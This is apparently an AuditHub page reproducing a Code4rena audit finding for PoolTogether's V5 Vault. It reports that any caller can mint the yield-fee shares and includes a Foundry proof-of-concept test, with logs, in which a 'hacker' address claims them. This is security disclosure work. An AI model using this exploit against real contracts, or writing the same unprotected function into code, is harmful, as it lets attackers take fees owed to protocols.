PoolTogether - ravikiranweb3's results

A protocol for no-loss prize savings

General Information

Platform: Code4rena

Start Date: 07/07/2023

Pot Size: $121,650 USDC

Total HM: 36

Participants: 111

Period: 7 days

Judge: Picodes

Total Solo HM: 13

Id: 258

League: ETH

PoolTogether

Findings Distribution

Researcher Performance

Rank: 108/111

Findings: 1

Award: $2.25

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

2.2492 USDC - $2.25

Labels

bug
3 (High Risk)
satisfactory
upgraded by judge
duplicate-396

External Links

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/main/src/Vault.sol#L394-L402

Vulnerability details

Impact

Anyone can call mintYieldFee on vault to claim the fee. Any one can simply call mintYieldFee to claim the shares.

Proof of Concept

Any one can claim the _yieldFeeShares by calling vault.mintYieldFee() function.


function testClaimYieldFee() external {
    _setLiquidationPair();

    address hacker = vm.addr(15);
    address hackerFriend = vm.addr(16);
    console.log("hacker",vault.balanceOf(hacker));

    vault.setYieldFeePercentage(YIELD_FEE_PERCENTAGE);
    vault.setYieldFeeRecipient(bob);

    uint256 _amount = 1000e18;

    underlyingAsset.mint(address(this), _amount);
   _sponsor(underlyingAsset, vault, _amount, address(this));
   
    uint256 _yield = 10e18;
    _accrueYield(underlyingAsset, yieldVault, _yield);

    vm.startPrank(alice);

    prizeToken.mint(alice, 1000e18);

    console.log("totalSupply",vault.totalSupply());

    uint256 _liquidatedYield = vault.liquidatableBalanceOf(address(vault));
   console.log("_liquidatedYield",_liquidatedYield);

    _liquidate(liquidationRouter, liquidationPair, prizeToken, _liquidatedYield, alice);

    vm.stopPrank();

    uint256 _yieldFeeShares = _getYieldFeeShares(_liquidatedYield, YIELD_FEE_PERCENTAGE);

    console.log("yeildFeeShares",_yieldFeeShares);
    console.log("totalSupply",vault.totalSupply());


    assertEq(vault.balanceOf(bob), 0);

    assertEq(vault.totalSupply(), _amount + _liquidatedYield);
    assertEq(vault.yieldFeeTotalSupply(), _yieldFeeShares);

    
    vault.mintYieldFee(_yieldFeeShares, hacker);

   
    console.log("totalSupply",vault.totalSupply());
    console.log("yieldFeeTotalSupply",vault.yieldFeeTotalSupply());
   
    console.log("yeildFeeShares for Bob",vault.balanceOf(bob));
    console.log("yeildFeeShares for hacker",vault.balanceOf(hacker));

  }

Logs: hacker 0 totalSupply 1000000000000000000000 _liquidatedYield 9000000000000000000 yeildFeeShares 1000000000000000000 totalSupply 1009000000000000000000 totalSupply 1010000000000000000000 yieldFeeTotalSupply 0 yeildFeeShares for Bob 0 yeildFeeShares for hacker 1000000000000000000

Tools Used

Manual code review + foundry testing

In the constructor, yieldFeeRecipient_ is passed in as parameter. The fee should go to the configured receipient instead. Send the fee to Yield fee receipient.

Assessed type

Other

#0 - c4-judge

2023-07-18T15:34:47Z

Picodes marked the issue as duplicate of #396

#1 - c4-judge

2023-08-05T22:03:31Z

Picodes marked the issue as satisfactory

#2 - c4-judge

2023-08-05T22:03:52Z

Picodes changed the severity to 3 (High Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter